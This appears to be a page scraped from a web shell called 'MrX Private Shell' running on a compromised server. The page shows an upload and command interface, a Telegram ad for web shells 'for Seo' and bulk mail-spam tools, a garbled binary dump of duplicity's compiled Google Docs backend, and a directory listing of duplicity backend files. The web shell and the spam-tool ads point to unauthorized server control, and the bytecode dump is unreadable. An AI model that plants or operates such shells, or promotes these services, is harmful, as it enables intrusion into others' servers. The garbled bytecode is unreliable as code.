__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�#���SSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	 SSK
Jr "SS\RR5r\RRS\5 \RR R#S/5 g)�N)�__version__)�BackendExceptionc�R�\rSrSrSrSrSrSrSrSr	Sr
S	rSSjrSSjr
S
rg
)�GDocsBackend�!z>Connect to remote store using Google Google Documents List APIz
folder%3Arootzapplication/binaryc��[RRRX5 SSKqSSKqSSKqSSK	q[RRRS[ 3S9UlSURlSURR$lUR)UR*SUR,3UR/55 [0R2"UR4SSS	5nSn[6R8nUH�nUR;US
U5nUb�[=U5S:XaUSnOS[=U5S:XaB[RR>RAS
US9nURRCX�S9nOSnU(aURDRFnM�[S
US35e[SUS35e X@l$g![an[S[U535eSnAff=f)Nrz�Google Docs backend requires Google Data APIs Python Client Library
(see http://code.google.com/p/gdata-python-client/).
Exception: �
duplicity )�sourceTF�@��/�folder)�type�title)�
collectionz)Error while creating destination folder 'z'.z)Error while fetching destination folder ')%�	duplicity�backend�Backend�__init__�	atom.data�atom�gdata.client�gdata�gdata.docs.client�gdata.docs.data�ImportErrorr�str�docs�client�
DocsClientr�ssl�http_client�debug�
_authorize�username�hostname�get_password�string�split�pathr�ROOT_FOLDER_ID�_fetch_entries�len�data�Resource�create_resource�resource_id�textr)	�self�
parsed_url�e�folder_names�
parent_folder�parent_folder_id�folder_name�entriesrs	         �A/usr/lib/python3/dist-packages/duplicity/backends/gdocsbackend.pyr�GDocsBackend.__init__'s������!�!�*�*�4�<�	�
��$�"��j�j�'�'�2�2�J�{�m�:T�2�U��������(-������%����:�.�.�/�q��1D�1D�0E�F��HY�HY�H[�\��|�|�J�O�O�A�B�$7��=���
�'�6�6��'�K��)�)�*:�H�k�R�G��"��w�<�1�$�$+�A�J�M���\�Q�&�"�Z�Z�_�_�5�5�8�;�5�W�F�$(�K�K�$?�$?��$?�$a�M�$(�M� �'4�'@�'@�'E�'E�$�*�-V�Wb�Vc�ce�+f�g�g�&�)R�S^�R_�_a�'b�c�c�(� $���C�	�"��!�!�f�X�'��
��	�s�G�
G8�G3�3G8c	���URU5 UR5n[RR	URU[
R[RRUR5[RRR[RRRS9nU(a�[RRR[RR!US9S9nUR"R%5R&S3nUR)XeS9nU(d>[+SUR-5SUR"R.R0S35eO>[+S	UR-5SUR"R.R0S35eUR35(aeg)
N)�
chunk_size�
desired_class)r2)rz?convert=false)�entryzFailed to upload file 'z' to remote folder '�'z%Failed to initialize upload of file ')�_delete�openrr�ResumableUploaderr�BACKUP_DOCUMENT_TYPE�osr*�getsize�name�DEFAULT_CHUNK_SIZErr.r/r�Titler�get_resumable_create_media_link�href�
UploadFiler�get_filenamerr2�close)r3�source_path�remote_filename�file�uploaderr@�uris       r;�_put�GDocsBackend._putUs������_�%�
���!���<�<�1�1��K�K���-�-��G�G�O�O�D�I�I�&��|�|�5�5�H�H��*�*�/�/�2�2�
2�
����J�J�O�O�,�,�4�9�9�?�?��?�3X�,�Y�E��[�[�@�@�B�G�G�H��W�C��'�'��'�9�E��&�-�k�.F�.F�.H�-I�J)�)-���):�):�)?�)?�(@��C����#�7��8P�8P�8R�7S�T%�%)�[�[�%6�%6�%;�%;�$<�A�?��
��:�:�<�<���<�c�T�URURRR[R
U5n[
U5S:Xa+USnURRXBR5 g[SUSURRRS35e)NrrzFailed to find file 'z' in remote folder 'rA)r,rr1r2rrEr-r�DownloadResourcerHrr)r3rQ�
local_pathr:r@s     r;�_get�GDocsBackend._getus����%�%��K�K�#�#�(�(��-�-��
��
�w�<�1���A�J�E��K�K�(�(����@�"�'��'8�8P�QU�Q\�Q\�Qb�Qb�Qg�Qg�Ph�hi�j��
rWc���URURRR[R
5nUVs/sHo"RRPM sn$s snf�N)r,rr1r2rrEr)r3r:r@s   r;�_list�GDocsBackend._list�sJ���%�%�d�k�k�&=�&=�&B�&B�L�De�De�f��.5�6�g�U��� � �g�6�6��6s�A%c��URURRR[R
U5nUH8nURRUR5RS3SS9 M: g)Nz?delete=trueT)�force)
r,rr1r2rrEr�delete�
get_edit_linkrL)r3�filenamer:r@s    r;rB�GDocsBackend._delete�sf���%�%�d�k�k�&=�&=�&B�&B�L�De�De�go�p���E��K�K���%�"5�"5�"7�"<�"<�!=�\�J�RV��W�rWNc	��URRUUS[3SUUS9 g![RRaen[SUR35 SnU(d[[S55nU(dMURXURU5 SnAgSnAf[RRa [S5ef=f)Nr	�writely)r
�service�
captcha_token�captcha_responsez.A captcha challenge in required. Please visit zAnswer to the challenge? akInvalid user credentials given. Be aware that accounts that use 2-step verification require creating an application specific access code for using this Duplicity backend. Follow the instruction in http://www.google.com/support/accounts/bin/static.py?page=guide.cs&guide=1056283&topic=1056286 and create your application-specific password to run duplicity backups.)
r�client_loginrr�CaptchaChallenge�print�captcha_url�eval�inputr$rj�BadAuthenticationr)r3�email�passwordrjrk�	challenge�answers       r;r$�GDocsBackend._authorize�s���	��K�K�$�$���#�K�=�1�!�+�!1�

%�
���|�|�,�,�	N��B�9�CX�CX�BY�Z�[��F���e�$?�@�A���f��O�O�E�Y�-D�-D�f�M�M���|�|�-�-�	�"�Z��
�	�s�%(�C�<B&�B&�&-Cc	�`�SUS3nUS:XaUS-
nOU[R:XaUS-
nOUS-
nU(a&US[RR	U5S3-
nUR
R
US	9nU(Ga,/nUGH!nUR5nU(a*US:XaUS:XdU[R:XdM=US:wdMEU[R:wa�UR5H�n	UR
RU	RSS[RRRS
9n
U
(dMTU
R R"U:XdMpUR%U5 M� M�['UR55S:XdGMUR%U5 GM$ U$UnU$)Nz/feeds/default/private/full/z	/contentsrz/-/folder?showfolders=truez?showfolders=falsez?showfolders=truez&title=z&title-exact=true)rT)r?r)rrE�urllib�parse�quoter�get_all_resources�get_resource_typer+�in_collections�	get_entryrLrrr.r/r1r2�appendr-)r3�	folder_idrrrTr:�resultr@�
resource_type�link�folder_entrys           r;r,�GDocsBackend._fetch_entries�s���,�Y�K�y�A���8���/�/�C�
�\�6�6�
6��'�'�C��&�&�C���W�V�\�\�/�/��6�7�7H�I�I�C��+�+�/�/�C�/�8����F� �� %� 7� 7� 9�
����(�]�h�-F��� A� A�A�m�W_�F_� �L�$?�$?�?�$)�$8�$8�$:�D�+/�;�;�+@�+@� $�	�	� $� $�.3�j�j�o�o�.F�.F�	,A�,�L� ,�|��1I�1I�1N�1N�R[�1[� &�
�
�e� 4�%;��U�1�1�3�4��9��
�
�e�,�%!�.�
��F��
rW)rr)NNr^)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r+rErrUr[r_rBr$r,�__static_attributes__�rWr;rr!s6��H�$�N�/��,$�\ �@�7�X�
�2*rWrzgdata+gdocs)�os.pathrFr(�urllib.errorry�urllib.parse�urllib.request�duplicity.backendrr�duplicity.errorsrrrr�register_backend�uses_netloc�extendr�rWr;�<module>r�sr��,�
�����!�-�n�9�$�$�,�,�n�b[�	���"�"�=�,�?�	�����$�$�m�_�5rW

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager